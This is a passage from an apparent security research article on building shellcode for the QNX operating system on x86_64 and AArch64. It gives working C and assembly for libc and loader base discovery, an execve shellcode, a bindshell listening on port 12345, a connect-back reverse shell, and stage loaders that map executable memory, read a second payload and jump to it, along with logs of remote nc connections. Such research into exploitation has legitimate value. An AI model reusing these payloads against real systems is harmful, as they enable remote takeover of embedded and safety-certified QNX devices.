0x36b0b2a000 __guardsize ......... 4096 __numkeys ........... 0 __keydata ........... 0x0 __cleanup ........... 0x0 __pt_tsd ............ 0x1a95828f80 __ldd_data .......... 0x0 __sigaction ......... 0x0 __muon_reserved ..... 0 __cxa_atexit_data ... 0x0 But still, the stack address is randomized, sure it is also leaked in the struct above, but yeah, scanning the stack towards higher addresses maybe ... But what does the __tls() function look like? Loading it in Ghidra provides an answer: ************************************************************** * FUNCTION * ************************************************************** _thread_local_storage * __tls(void) 00179a40 64 48 8b MOV RAX,qword ptr FS:[0x10] 04 25 10 00 00 00 00179a49 c3 RET So the pointer is actually stored at FS:[0x10], just a single instruction to fetch it. This is a stable way of fetching an address pointing into libc, and it can then be used to compute the base address to be able to resolve symbols. But first, let's look how __tls() is implemented in AArch64 and other QNX releases: --[ QNX x86_64 8.00/8.04 mov %fs:0x10, %rax (actually also at %fs:0x38, for portability?) --[ QNX AArch64 8.00/8.04 mrs x0,tpidr_el0 ldr x1, [x0, #0x8] mov x0, x1 --[ QNX x86_64 7.1 mov %fs:0x38, %rax --[ QNX AArch64 7.1 mrs x0,tpidrro_el0 It turns out that the thread local storage struct is a bit different on 7.1: /* * Thread local storage. * This data is at the top of each thread's stack. */ #define __TLS_FIELDS \ void *__exitfunc; \ void *__arg; \ int *__errptr; \ int __errval; /* Not used for main() thread. */ \ unsigned __flags; \ int __pid; \ int __tid; \ unsigned __owner; \ void *__stackaddr; \ unsigned __reserved1; \ unsigned __numkeys; \ void **__keydata; /* Indexed by pthread_key_t */ \ void *__cleanup; \ void *__cxa_atexit_data; \ void *__ldd_data; /* Used by the ldd. */ \ void *__sigaction; struct _thread_local_storage { __TLS_FIELDS }; On QNX 7.1 the __exitfunc is always set and points closer to the start of the libc ELF header than what __errptr does, so the best strategy is to use that instead there. --[ 3.3 - ELF resolver execve /bin/sh shellcode Creating the ELF-resolving shellcode then requires: 1) Obtain the libc address 2) Find the start of the libc ELF header 3) Resolve the address of execve 4) Call execve with the right arguments We start by implementing a portable get_libc_base() which uses the helper functions get_tls() and find_elf_base(). /* * Find ELF base from address. * Walk backward and look for ELF tag. */ static void * find_elf_base(const void *addr) { uint8_t *p; /* Align down to the nearest page boundary */ p = (uint8_t *)((uintptr_t)addr & ~(uintptr_t)0xFFF); for (; p > (const uint8_t *)0x1000; p -= 0x1000) { if (*(const uint32_t *)p == ELF_MAGIC) { return p; } } return NULL; } /* * Get thread local storage pointer. */ static inline void * get_tls() { void *tp; #if defined(__x86_64__) && (_NTO_VERSION == 800) __asm__ __volatile__( "movq %%fs:0x10, %%rax" : "=a" (tp) ); #endif #if defined(__aarch64__) && (_NTO_VERSION == 800) __asm__ __volatile__( "mrs x0, tpidr_el0\n\t" "ldr %0, [x0, #0x8]" : "=r"(tp) ); #endif #if defined(__x86_64__) && (_NTO_VERSION == 710) __asm__ __volatile__( "movq %%fs:0x38, %%rax" : "=a" (tp) ); #endif #if defined(__aarch64__) && (_NTO_VERSION == 710) __asm__ __volatile__( "mrs x0, tpidrro_el0\n\t" : "=r"(tp) ); #endif return tp; } /* * Attempt to find libc base by walking backwards * from leaked address. */ static void * get_libc_base() { struct _thread_local_storage *tls; void *leak; if ( (tls = get_tls()) == NULL) return NULL; #if defined(_NTO_VERSION) && (_NTO_VERSION == 800) /* errno points inside libc */ leak = tls->__errptr; #elif defined(_NTO_VERSION) && (_NTO_VERSION == 710) /* __exitfunc points inside libc */ leak = tls->__exitfunc; #endif return find_elf_base(leak); } /* * As a more general precaution when scanning addresses, it is a good * practice to validate the address before attempting to reference it. * For that purpose the MsgSend syscall can be used by passing on the * address of interest as the send buffer: * * MsgSend(0x40000000, <address>, 1, 0, 0); * * MsgSend will then return EFAULT (14 on QNX) if the address is invalid. * */ Once everything is in place, the binary is executed for a test run. There is also printing of the actual shellcode bytes, to make it easier to use it in a standalone program later on. $ uname -a QNX qnx804 8.0.0 2026/02/27-11:02:56EST x86pc x86_64 $ ./elf_execve /* ELF resolving shellcode 855 bytes */ unsigned char code[] = { 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x30, 0xe8, 0x11, [...] /* output removed */ 0x00, 0x77, 0xdb, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xc9, 0xc3}; [+] Running shellcode $ Generating shellcode for the different releases results in the following sizes: QNX 8.x x86_64: 855 bytes QNX 8.x AArch64le: 1040 bytes QNX 7.1 AArch64le: 1032 bytes They are quite big but can of course be optimized further for size, and also function as a second stage shellcode where size does not have to matter as much. Let's get back to that later. --[ 3.4 - Finding ldqnx.so The next level of shellcode will be to bind a shell to a port, a classic bindshell. QNX has separated networking functions into the socket library, namely libsocket.so. The library has to be loaded to be able to resolve the required functions to bind a shell to a port. /* * This could also be implemented by talking directly to the QNX network * stack, io-sock [b] (the io-sock stack replaces io-pkt used on QNX 7.1 * and older releases). This is accomplished by first opening /dev/socket * read-write (using open()) and then use the returned file descriptor as * the connection id when calling MsgSend with the related messages for * socket(), bind(), listen(), accept(), connect() etc. * * Implementing open("/dev/socket", O_RDWR); as shellcode however, is not * straightforward and requires multiple interactions with the kernel. * This will result in a pretty large shellcode, but can of course be a * valid alternative solution when/if the libc leak in thread local * storage is removed in the future. Let's keep that in mind. */ Unfortunately, dlopen() and related functions are not part of libc. Instead they are located in the loader, which is ldqnx-64.so on 64-bit QNX systems. So the location of ldqnx-64.so in memory has to be found in order to load the required socket library using dlopen(). Looking at a bunch of processes it turns out that the loader seems to be mapped at a fixed offset before libc. When computing offsets for the different releases the following small table is created: QNX 8.x x86_64: libc base - 0x3b000 QNX 8.x AArch64le: libc base - 0x3d000 QNX 7.1 AArch64le: libc base - 0x4a000 Looks solid, but that is not the whole truth unfortunately. It works perfectly when no additional libraries are used, but as soon as a program that uses additional libraries is run, the distance is shifted, which is shown by these mappings when a program uses the socket library on 8.04 x86_64 (output truncated for readability): # cat /proc/5230623/pmap 0x00000025c698a000 {heap},{sysram} 0x0000003d09ee8000 {stack},{sysram} 0x0000004bc5349000 ldqnx-64.so.2,{ram} 0x0000004bc5380000 /proc/boot/ldqnx-64.so.2,{ram} 0x0000004bc5382000 /proc/boot/ldqnx-64.so.2,{ram} 0x0000004bc5383000 {bss},{sysram} 0x0000004bc5384000 /proc/boot/libsocket.so.4,{ram} 0x0000004bc53ca000 {bss},{sysram} 0x0000004bc53cc000 /proc/boot/libsocket.so.4,{ram} 0x0000004bc53cd000 {bss},{sysram} 0x0000004bc53d3000 /proc/boot/libc.so.6,{ram} 0x0000004bc547a000 {bss},{sysram} 0x0000004bc547e000 /proc/boot/libc.so.6,{ram} 0x0000004bc5480000 {bss},{sysram} 0x0000004bc5486000 /proc/boot/libgcc_s.so.1,{ram} 0x0000004bc54a2000 {bss},{sysram} 0x0000004bc54a3000 /proc/boot/libgcc_s.so.1,{ram} 0x00000053b9663000 /data/home/user1/service,{sysram} 0x00000053b9664000 /data/home/user1/service,{sysram} 0x00000053b9665000 /data/home/user1/service,{sysram} There must be another reliable way to compute the map address of ldqnx.so in memory. Should not be that hard, right? There must be plenty of references in libc that can be used. Right, right? Well, keeping a long story short it turns out that many traditional techniques do not work. The dlopen, dlsym, dladdr, etc. functions inside libc are just dead stubs that return NULL, and not trampolines that call code inside ldqnx.so. Also, the dynamic section in the ELF has no DT_DEBUG entry at all, so the r_debug->link_map traversal does not work. However, QNX uses their own way of communicating with ldqnx from libc. QNX libc has symbols (WEAK_UND, value 0) that are provided by ldqnx and their GOT slots will contain the addresses inside ldqnx at runtime. The following symbols are available: __ldd_set_getenv __ldd_atexit __ldd_data_cleanup __ldd_fork_prepare __ldd_fork_parent __ldd_set_atexit Looking at the .init array in libc (QNX 8.04, x86_64) it is easy to see that the functions _preinit_libc and _init_libc exist and will be called by the dynamic linker (ldqnx) when libc is loaded and the array is traversed. // // .init_array // SHT_INIT_ARRAY [0xa8630 - 0xa863f] // ram:001a8630-ram:001a863f // __DT_INIT_ARRAY 001a8630 80 5d 12 addr _preinit_libc 00 00 00 00 00 001a8638 84 5d 12 addr _init_libc 00 00 00 00 00 Decompiling _init_libc in Ghidra shows us that both __ldd_set_atexit and __ldd_set_getenv are called, which will result in the GOT slot being updated and hold the address to a location inside ldqnx when the program is running (so we do not have to do a call to update the GOT entry). void _init_libc(int argc,char **argv,char **arge, auxv_t *auxv,_func_void *exit_func) { long lVar1; atexit_func *paVar2; atexit_func *paVar3; if (_init_libc::_init_libc_called == 0) { _init_libc::_init_libc_called = 1; _init_libc_global(argc,argv,arge,auxv); _init_libc_common(exit_func); __SysCpupageSet(); paVar3 = _atexit_list; paVar2 = _atqexit_list; _pls.__entryfunc = __thread_entry; lVar1 = tpidr_el0; *(int **)(*(long *)(lVar1 + 8) + 0x10) = &errno; __ldd_set_atexit(paVar3,paVar2,_libc_lock_atexit_list, <--- _libc_unlock_atexit_list,exit); __ldd_set_getenv(getenv); <--- __ldd_set_lock_alloc(_libc_lock_dl_alloc, _libc_unlock_dl_alloc); __ldd_set_lock_list(_libc_lock_dl_list,_libc_unlock_dl_list); __ldd_set_lock_dyn_list(_libc_lock_dl_dyn_list, _libc_unlock_dl_dyn_list); __init_cookies(); } errno = 0; return; } We verify this by looking at mappings for a process and then attaching to it using gdb (output truncated for readability). # cat /proc/22245404/pmap vaddr,size,...,asinfo [...] 0x00000021d646e000,0x0000000000037000 /proc/boot/ldqnx-64.so.2,{ram} 0x00000021d64a5000,0x0000000000002000 /proc/boot/ldqnx-64.so.2,{ram} 0x00000021d64a7000,0x0000000000001000 /proc/boot/ldqnx-64.so.2,{ram} [...] (gdb) info files [...] 0x00000021d65a1078 - 0x00000021d65a2ff0 is .got in ... libc.so.6 0x00000021d65a3000 - 0x00000021d65a4782 is .data in ... libc.so.6 0x00000021d65a47a0 - 0x00000021d65aaa40 is .bss in ... libc.so.6 [...] (gdb) x/gx 0x00000021d65a1078 0x21d65a1078: 0x00000021d65a0ef8 [...] (gdb) x/gx 0x21d65a1380 0x21d65a1380 <[email protected]>: 0x00000021d6478ac0 (gdb) x/i 0x00000021d6478ac0 0x21d6478ac0 <__ldd_set_getenv>: mov %rdi,0x2f439(%rip) Great, so everything can now be solved by traversing the libc ELF structure and fetching the address in the GOT slot to compute the base address of ldqnx. That is one way of doing it, as another option, let's look at the auxiliary vector. The auxiliary vector is a small array of key-value pairs that the kernel places on the stack before transferring control to the dynamic linker. It provides information about the process environment that the kernel knows but user-space code is not aware of. The dynamic linker needs the information before libc is initialized, and there is no other way of getting it. The auxiliary vector follows the environment pointer array and its NULL terminator. Each entry is two uint64_t, { tag, value} and there are commonly used predefined tags, for example: #define AT_NULL 0 // End of auxv #define AT_IGNORE 1 // Entry to be ignored #define AT_EXECFD 2 // File descriptor of executable (old kernels) #define AT_PHDR 3 // Address of executable program headers #define AT_PHENT 4 // Size of one program header entry (bytes) #define AT_PHNUM 5 // Number of program header entries #define AT_PAGESZ 6 // System page size #define AT_BASE 7 // Interpreter (dynamic linker) load base #define AT_FLAGS 8 // Flags #define AT_ENTRY 9 // Executable entry point (_start) [...] It can be illustrated like this on the stack: High address, start of stack +-------------+ | AT_NULL, 0 | <- end of auxv | val | | tag | | val | | tag | <- auxv entries, read bottom to top | ... | | tag=0x7, 0 | <- AT_BASE (ldqnx base) +-------------+ | NULL | <- end of envp[] | envp[n] | | ... | | envp[0] | +-------------+ | NULL | <- end of argv[] | argv[n] | | ... | | argv[0] | +-------------+ | argc | +-------------+ Low address (stack grows down) QNX also makes use of the following custom tags: /* QNX specific AT_ tags */ #define AT_QNX_RANDOM 0x2b // 43 - Random value / stack canary seed? #define AT_QNX_STACKSIZE 0x2c // 44 - Initial stack size in bytes #define AT_QNX_EXEDEV 0x2d // 45 - Device number of executable file #define AT_QNX_EXEINO 0x2e // 46 - Inode number of executable file #define AT_QNX_EXEPATH 0x2f // 47 - Pointer to executable path string Dumping the vector on a QNX process results in this output: [3] AT_PHDR 0x00000012253d5040 <-- Program headers [4] AT_PHENT 0x0000000000000038 [5] AT_PHNUM 0x0000000000000008 [9] AT_ENTRY 0x00000012253d62c0 <-- _start [6] AT_PAGESZ 0x0000000000001000 [7] AT_BASE 0x00000052d68c7000 <-- ldqnx base :) [45] AT_QNX_EXEDEV 0x0000000000000802 [46] AT_QNX_EXEINO 0x000000008000003b [47] AT_QNX_EXEPATH 0x0000002bcb7e9d2f [43] AT_QNX_RANDOM 0x73a50cc6870fe722 [44] AT_QNX_STACKSIZE 0x000000000007f000 Excellent, so dumping the vector is a way to get both the map address of ldqnx and the executed image at the same time (one way to find libc for new threads would be to traverse the GOT for the image and fetch a libc pointer once AT_BASE has been located on the stack). The global variable environ, which exists in libc, holds the address to envp, and that has just to be traversed to get to the vector. The following trivial function implements this: /* * Get base of ldqnx and program from aux vector * which is right after environment strings */ #define AT_PHDR 3 #define AT_BASE 7 static int get_auxv_bases(char **envp, void **ldqnx, void **prog) { struct auxent { uint64_t tag; uint64_t val; } *apt; size_t i; int ret; ret = 0; /* Walk past environ */ i=0; while (envp[i] != NULL) i++; i++; /* Traverse the vector */ apt = (struct auxent *)&envp[i]; while (apt->tag != 0) { /* ldqnx */ if (apt->tag == AT_BASE) { *ldqnx = (void *)apt->val; ret++; } /* Program */ if (apt->tag == AT_PHDR) { *prog = find_elf_base((void *)apt->val); ret++; } if (ret == 2) return ret; apt++; } return ret; } All the components are now in place for implementing the ELF resolving bindshell shellcode. A hash value cannot be used to look up the symbols in libsocket.so from the handle received by dlopen(), so the function dlsym() has to be used with strings set locally. One odd thing noticed is that QNX uses uint8_t for the socket address. Maybe from an old BSD socket implementation? --[ 3.5 - ELF resolver bindshell shellcode -- Begin elf_bindshell.c [...] /* * ELF structs and constants go here for portability, * they are removed to save some space */ [...] /* * Start of shellcode. */ int shellcode_start() { syms_t sm; char str[16]; void *libcbase; void *ldbase; void *pbase; void *sh; if ( (libcbase = get_libc_base()) == NULL) return -1; if ( (sm.environ = *(char ***)getsym(libcbase, HASH_ENVIRON)) == NULL) return -2; if (get_auxv_bases(sm.environ, &ldbase, &pbase) != 2) return -3; GETSYM(sm.dlopen, ldbase, HASH_DLOPEN); GETSYM(sm.dlclose, ldbase, HASH_DLCLOSE); GETSYM(sm.dlsym, ldbase, HASH_DLSYM); GETSYM(sm.execve, libcbase, HASH_EXECVE); GETSYM(sm.close, libcbase, HASH_CLOSE); GETSYM(sm.dup2, libcbase, HASH_DUP2); GETSYM(sm.fork, libcbase, HASH_FORK); GETSYM(sm.exit, libcbase, HASH_EXIT); str[0] = 'l'; str[1] = 'i'; str[2] = 'b'; str[3] = 's'; str[4] = 'o'; str[5] = 'c'; str[6] = 'k'; str[7] = 'e'; str[8] = 't'; str[9] = '.'; str[10] = 's'; str[11] = 'o'; str[12] = '\0'; /* RTLD_LAZY */ if ( (sh = sm.dlopen(str, 0x0001)) == NULL) return -4; str[0] = 's'; str[1] = 'o'; str[2] = 'c'; str[3] = 'k'; str[4] = 'e'; str[5] = 't'; str[6] = '\0'; if ( (sm.socket = sm.dlsym(sh, str)) == NULL) return -5; [...] /* * The rest of the resolving goes here * before the shell server is started. */ [...] /* * Bindshell server. */ static int shserv(syms_t *sp) { struct { uint8_t len; uint8_t family; uint16_t port; uint32_t ip; uint64_t pad; } addr; int sock; int csock; char str[8]; char *av[2]; addr.family = 0x02; /* AF_INET */ addr.port = 0x3930; /* 12345 */ addr.ip = 0x00000000; /* 0.0.0.0 */ addr.pad = 0x0000000000000000; /* AF_INET, SOCK_STREAM, IPPROTO_TCP */ if ( (sock = sp->socket(0x2, 0x1, 0x6)) < 0) return -1; if (sp->bind(sock, &addr, 16) < 0) return -1; if (sp->listen(sock, 0) < 0) return -1; str[0] = '/'; str[1] = 'b'; str[2] = 'i'; str[3] = 'n'; str[4] = '/'; str[5] = 's'; str[6] = 'h'; str[7] = '\0'; av[0] = str; av[1] = NULL; while ( (csock = sp->accept(sock, NULL, NULL)) > 0) { if (sp->fork() == 0) { sp->dup2(csock, 0); sp->dup2(csock, 1); sp->dup2(csock, 2); sp->close(csock); sp->execve(str, av, NULL); sp->exit(1); } } sp->close(sock); return -1; } [...] /* * The functions calc_hash(), getsym(), etc * go here, they are just removed to save some space. */ [...] /* Symbol to mark end of shellcode */ void shellcode_end() {} -- End of elf_bindshell.c $ ./elf_bindshell The bindshell is started in one terminal, and connected to from a remote system. -- Terminal (Starting the bindshell) $ id uid=1001(user1) gid=1001(user1) groups=1001(user1) $ uname -a QNX qnx804 8.0.0 2026/02/27-11:02:56EST x86pc x86_64 /* ELF resolving shellcode 2281 bytes */ unsigned char code[] = { 0x55, 0x48, 0x89, 0xe5, 0x48, 0x81, 0xec, 0xa0, 0x00, 0x00, 0x00, [...] 0x00, 0x48, 0x85, 0xc0, 0x75, 0x99, 0x8b, 0x45, 0xec, 0xc9, 0xc3}; [+] Running shellcode (2281 bytes) -- Terminal (Connecting to bindshell from a Linux machine) $ nc -vv 192.168.56.167 12345 Connection to 192.168.56.167 12345 port [tcp/*] succeeded! uname -a QNX qnx804 8.0.0 2026/02/27-11:02:56EST x86pc x86_64 id uid=1001(user1) gid=1001(user1) groups=1001(user1) Again, very large shellcode indeed. But as already stated, it can be optimized quite a bit to suit possible future needs if required. --[ 3.6 - ELF resolver connect back shellcode While at it, why not write a reverse shell as well? This is even simpler than the shell server since it only has to connect. The connect back function then looks like this: /* * Connect back shell. */ static int connectback(syms_t *sp) { struct { uint8_t len; /* QNX tilt */ uint8_t family; uint16_t port; uint32_t ip; uint64_t pad; } addr; int sock; char str[8]; char *av[2]; /* AF_INET, SOCK_STREAM, IPPROTO_TCP */ if ( (sock = sp->socket(0x2, 0x1, 0x6)) < 0) return -1; str[0] = '/'; str[1] = 'b'; str[2] = 'i'; str[3] = 'n'; str[4] = '/'; str[5] = 's'; str[6] = 'h'; str[7] = '\0'; av[0] = str; av[1] = NULL; addr.family = 0x02; /* AF_INET */ addr.port = CONNECT_PORT; addr.ip = CONNECT_IP; addr.pad = 0x0000000000000000; if (sp->connect(sock, &addr, 16) == 0) { sp->dup2(sock, 0); sp->dup2(sock, 1); sp->dup2(sock, 2); sp->close(sock); sp->execve(str, av, NULL); sp->exit(1); } sp->close(sock); sp->exit(1); return -1; } --[ 4 - Staged shellcode ]------------------------------------------------- Time to implement a small stage loader. Such a code snippet can be very useful in future adventures as it will allow larger payloads to be injected. --[ 4.1 - Allocating memory Allocating memory with mmap is accomplished by sending a message using MsgSend to the process manager. The structure of interest is located in sys/memmsg.h and is pretty much identical for 7.1 and 8.x, with the only exception that reserved1 has changed name to pid in 8.x. QNX 8.x: /* * Message of _MEM_MAP */ struct _mem_map { _Uint16t type; _Uint16t zero; _Int32t pid; /* reserved1 on 7.1 */ _Uint64t addr; _Uint64t len; _Uint32t prot; _Uint32t flags; _Int32t fd; _Uint32t preload; _Uint64t align; off64_t offset; _Uint64t shmem_handle; _Uint64t elf_pvaddr; }; Turns out it works on both 7.1 and 8.x out of the box, no big difference here as with _proc_spawn. The following values are set for allocating one page of rwx memory: mm.type = _MEM_MAP; /* 0x0040 */ mm.len = 4096; /* 0x0000000000001000 */ mm.prot = PROT_READ|PROT_WRITE|PROT_EXEC; /* 0x00000700 */ mm.flags = MAP_PRIVATE; /* 0x00000002 */ mm.fd = NOFD; /* 0xffffffff */ Dumping the 72 byte structure into uint64_t blocks shows what the buffer needs to contain when implementing it in assembler: 0x0000000000000040 0x0000000000000000 0x0000000000001000 0x0000000200000700 0x00000000ffffffff 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 The reply structure to receive the address is also exactly the same in both 7.1 and 8.x and resides in the same file: struct _mem_map_reply { _Uint64t real_size; /* Page aligned size */ _Uint64t real_addr; /* Page aligned address */ _Uint64t addr; /* Address (might be offset into real_addr) */ }; The call to MsgSend() is then straightforward to allocate a page of rwx memory: MsgSend(0x40000000, (void *)&mm, sizeof(mm), &reply, sizeof(reply)); --[ 4.2 - Reading from a file descriptor Reading from a file descriptor on QNX also uses the MsgSend syscall (surprise), but now the file descriptor is used as the connection id argument instead of the process manager id. The kernel will detect the use of a file descriptor (since it lacks the flag 0x40000000) instead of a side channel and handle the read accordingly. Still in luck, the structure for reading data is preserved across 7.1 and 8.x, and is defined like this: struct _io_read { _Uint16t type; _Uint16t combine_len; _Uint32t nbytes; _Uint32t xtype; _Uint32t zero; }; The only values that have to be set for reading a page of memory are the following: ir.type = _IO_READ; /* 0x0101 */ ir.combine_len = sizeof(ir); /* 0x0010 */ ir.nbytes = 0x1000; /* One page */ ir.xtype = _IO_XTYPE_NONE; /* 0x00000000 */ And the uint64_t dump looks like this: 0x0000100000100101 0x0000000000000000 The address of the destination buffer is then used as the reply address when calling MsgSend: MsgSend(STDIN_FILENO, &ir, sizeof(ir), buf, sizeof(buf)); All the information for writing the stage loader shellcode has now been acquired. It will allocate one page of rwx, read the next stage from file descriptor 0 (standard input by default) and then jump to it. It just does one read however, so handling a short read is left as an exercise for the reader. :) --[ 4.3 - QNX x86_64 Stage loader shellcode -- Begin x86_64_stageload.s # Page aligned bufsize .equ BUFSIZE, 0x1000 .global main .text main: # Align stack to 16 byte boundary pushq %rax # Increase stack to avoid truncating pushq %rax andq $-16, %rsp # Align to 16 byte boundary # # Set up struct _mem_map # # struct _mem_map { # _Uint16t type; # _Uint16t zero; # _Int32t pid; /* reserved1 on 7.1 */ # _Uint64t addr; # _Uint64t len; # _Uint32t prot; # _Uint32t flags; # _Int32t fd; # _Uint32t preload; # _Uint64t align; # off64_t offset; # _Uint64t shmem_handle; # _Uint64t elf_pvaddr; # } mm; # xorq %rax, %rax # elf_pvaddr # shmem_handle # offset # align pushq %rax pushq %rax pushq %rax pushq %rax # preload = 0 # fd = NOFD mov $0xffffffff, %eax pushq %rax # flags = MAP_PRIVATE; # prot = PROT_READ|PROT_WRITE|PROT_EXEC; movabs $0x0000000200000700, %rax pushq %rax # len = BUFSIZE movq $BUFSIZE, %rax pushq %rax # addr = 0 xorq %rax, %rax pushq %rax # pid = 0 # zero = 0 # type = 0x40 movabs $0x0000000000000040, %rax pushq %rax # Set up all syscall arguments for mmap # MsgSend(0x40000000, (void *)&mm, 72, &reply, 24); # MsgSend(%rdi, %rsi,%rdx, %r10, %r8) movq %rsp, %rsi # pointer to struct _mem_map xorq %rdx, %rdx addq $72, %rdx subq $24, %rsp movq %rsp, %r10 xor %r8, %r8 addq $24, %r8 movq $0x40000000, %rdi # coid (process manager) neg %rdx # As done in MsgSend() in libc neg %r8 # As done in MsgSend() in libc movq $0xb, %rax # MsgSend syscall number (11) syscall # # Save returned address from reply struct on stack # to setup arguments for reading next stage. # # struct _mem_map_reply { # _Uint64t real_size; /* Page aligned size */ # _Uint64t real_addr; /* Page aligned address */ # _Uint64t addr; /* Address (might be offset into real_addr) */ # } # # Save a pointer to buffer since %r15 is preserved # across syscalls mov 8(%rsp), %r15 # buf, buf, sizeof(buf) mov %r15, %r10 xorq %r8, %r8 addq $BUFSIZE, %r8 # Save a pointer to buffer since %r15 is preserved # across syscalls mov %r10, %r15 # # setup struct _io_read for reading next stage # # struct _io_read { # _Uint16t type; # _Uint16t combine_len; # _Uint32t nbytes; # _Uint32t xtype; # _Uint32t zero; # }; # # zero = 0 # xtype = _IO_XTYPE_NONE = 0 movabs $0x0000000000000000, %rax pushq %rax # nbytes = 0x00001000 # combine_len = 0x0010 # type = 0x0101 movabs $0x0000100000100101, %rax pushq %rax mov %rsp, %rsi xorq %rdx, %rdx addq $16, %rdx # File descriptor to read from # (STDIN_FILENO) xorq %rdi, %rdi # MsgSend(STDIN_FILENO, &ir, sizeof(ir), buf, sizeof(buf)); # MsgSend(%rdi, %rsi,%rdx, %r10, %r8) neg %rdx # As done in MsgSend() in libc neg %r8 # As done in MsgSend() in libc movq $0xb, %rax # MsgSend syscall number (11) syscall # Align stack to 16 byte boundary pushq %rax # Increase stack to avoid truncating pushq %rax andq $-16, %rsp # Align to 16 byte boundary # Jump to buffer call *%r15 -- End x86_64_stageload.s --[ 4.4 - QNX AArch64le Stage loader shellcode The stage loader code for AArch64 is almost the same as for x86_64 with the exception of instruction cache flushing. The requirement was very notable when testing the first cut of the code that lacked cache flushing on the RPi 4 (but worked stably on ARMv8_nVidia-Orin, probably because of courtesy flushing in QNX 7.1 for rwx pages). The second stage buffer, the one allocated by the stage loader kept crashing with SIGILL at the first instruction, a perfectly sane instruction in executable memory. Diving into instruction cache on AArch64 gave the answer and the solution to a stable stage loader code. On AArch64, the data cache and instruction cache are not coherent with each other by hardware [c]. This is guaranteed on, for example, x86_64 without any explicit cache maintenance. When reading into the buffer it lands in the data cache, and may not even be available in RAM yet. When later jumping into the same buffer, the CPU looks in the instruction cache. From there it fetches garbage or triggers a fault. To solve this the full AArch64 cache maintenance sequence is executed for all lines before jumping. Each cache line is 64 bytes long on both Cortex-A72 (RPi 4) and ARMv8 (nVidia Orin). The cache instructions are located at the end of the shellcode, just before the actual jump. -- Begin aarch64_stageload.s # Page aligned bufsize .equ BUFSIZE, 0x4000 .global main .text main: // // struct _mem_map (from the back) // // 0x0000000000000000 // 0x0000000000000000 // 0x0000000000000000 // 0x0000000000000000 eor x0, x0, x0 stp x0, x0, [sp, #-16]! stp x0, x0, [sp, #-16]! // 0x0000000000000000 // 0x00000000ffffffff - mm.preload + mm.fd (NOFD) movz x1, #0xffff, lsl #16 movk x1, #0xffff, lsl #0 stp x1, x0, [sp, #-16]! // 0x0000000200000700 - mm.flags + mm.prot // 0x0000000000004000 - mm.len movz x0, #0x0002, lsl #32 movk x0, #0x0700, lsl #0 movz x1, #BUFSIZE, lsl #0 stp x1, x0, [sp, #-16]! // 0x0000000000000000 - padding for stack alignment // 0x0000000000000040 - mm.pid, mm.zero, mm.type eor x0, x0, x0 movz x1, #0x0040, lsl #0 stp x1, x0, [sp, #-16]! add x1, sp, #0 // x1 = &mm movz x2, #72, lsl #0 // x2 = sizeof(mm) // // struct _mem_map_reply // // 0x0000000000000000 // 0x0000000000000000 // 0x0000000000000000 // 0x0000000000000000 eor x0, x0, x0 stp x0, x0, [sp, #-16]! stp x0, x0, [sp, #-16]! add x3, sp, #0 // x3 = &reply movz x4, #24, lsl #0 // x4 = sizeof(reply) // MsgSend(0x40000000, &mm, sizeof(mm), &reply, sizeof(reply)); // MsgSend(x0, x1, x2, x3, x4) movz x0, #0x4000, lsl #16 // x0 = 0x40000000 neg x2, x2 neg x4, x4 mov w8, #0x0b // syscall number 11 svc #0 // // Read back mapped address and size from // return buffer into x3 and x4 // ldp x4, x3, [sp], #16 // x4 = size (top of stack), x3 = addr // Save pointer to buffer in preserver register x19 mov x19, x3 // // struct _io_read // // 0x0000000000000000 // 0x0000100000100101 eor x0, x0, x0 movz x1, #0x1000, lsl #32 movk x1, #0x0010, lsl #16 movk x1, #0x0101, lsl #0 stp x1, x0, [sp, #-16]! add x1, sp, #0 // &ir movz x2, #16, lsl #0 // sizeof(ir) // MsgSend(STDIN_FILENO, &ir, sizeof(ir), buf, sizeof(buf)) // MsgSend(x0, x1, x2, x3, x4) neg x2, x2 neg x4, x4 mov w8, #0x0b // syscall number 11 svc #0 // x19 = buffer start // x20 = buffer size // x21 = end address movz x20, #BUFSIZE, lsl #0 add x21, x19, x20 // x21 = end address // Clean data cache for entire buffer mov x22, x19 // x22 = start of buffer .Ldc_loop: dc cvau, x22 // Clean current line add x22, x22, #64 cmp x22, x21 b.lt .Ldc_loop // Data sync barrier, wait for cache instructions // (ish - Inner Shareable Domain, i.e. all cores) dsb ish // Invalidate instruction cache for entire buffer mov x22, x19 // x22 = start of buffer .Lic_loop: ic ivau, x22 // Invalidate current line add x22, x22, #64 cmp x22, x21 b.lt .Lic_loop // Data sync barrier, wait for cache instructions // (ish - Inner Shareable Domain, i.e. all cores) dsb ish // Instruction Sync Barrier // Flush the CPU instruction pipeline and force // to refetch everything isb // Jump to buffer br x19 -- End aarch64_stageload.s --[ 4.5 - Testing To test everything out a network service was implemented. It listens for a connection, allocates one page of rwx memory, reads data from the connected client and then jumps there. The client connects and sends the stageload code as first stage (duh) and then the elf_bindshell code. The bindshell is then expected to be seen running on port 12345 once it has been transmitted over the network. Below is the output from terminals on various QNX releases and architectures, including QNX OS 7.1 for Safety. --[ QNX 8.04 x86_64 --- Terminal (code server) $ uname -a QNX qnx804 8.0.0 2026/02/27-11:02:56EST x86pc x86_64 $ ./codesrvc [+] Starting code service on 127.0.0.1:23456 [+] PID=10465307 Accepting client on 127.0.0.1:23456 [+] fd=4 Processing connected client [+] Read 179 bytes [+] Jumping to code --- Terminal (client on same machine as code server) $ netstat -na | grep LIST | grep 12345 $ ./codeclient [+] Connecting to 127.0.0.1:23456 [+] Sending stage 1 (179 bytes) [+] Sending stage 2 (2281 bytes) [+] Done $ netstat -na | grep LIST | grep 12345 tcp4 0 0 *.12345 *.* LISTEN $ --- Terminal (remote Linux machine) $ nc -vv 192.168.56.167 12345 Connection to 192.168.56.167 12345 port [tcp/*] succeeded! uname -a QNX qnx804 8.0.0 2026/02/27-11:02:56EST x86pc x86_64 --[ QNX 8.0 AArch64le --- Terminal (code server) $ uname -a QNX localhost 8.0.0 2025/07/30-19:17:34EDT RaspberryPi4B aarch64le $ /var/tmp/codesrvc [+] Starting code service on 127.0.0.1:23456 [+] PID=16085016 Accepting client on 127.0.0.1:23456 [+] fd=4 Processing connected client [+] Read 216 bytes [+] Flushing data and instruction cache [+] Jumping to code --- Terminal (client on same machine as code server) $ netstat -na | grep LIST | grep 12345 $ /var/tmp/codeclient [+] Connecting to 127.0.0.1:23456 [+] Sending stage 1 (216 bytes) [+] Sending stage 2 (2532 bytes) [+] Done $ netstat -na | grep LIST | grep 12345 tcp4 0 0 *.12345 *.* LISTEN $ --- Terminal (remote Linux machine) $ nc -vv 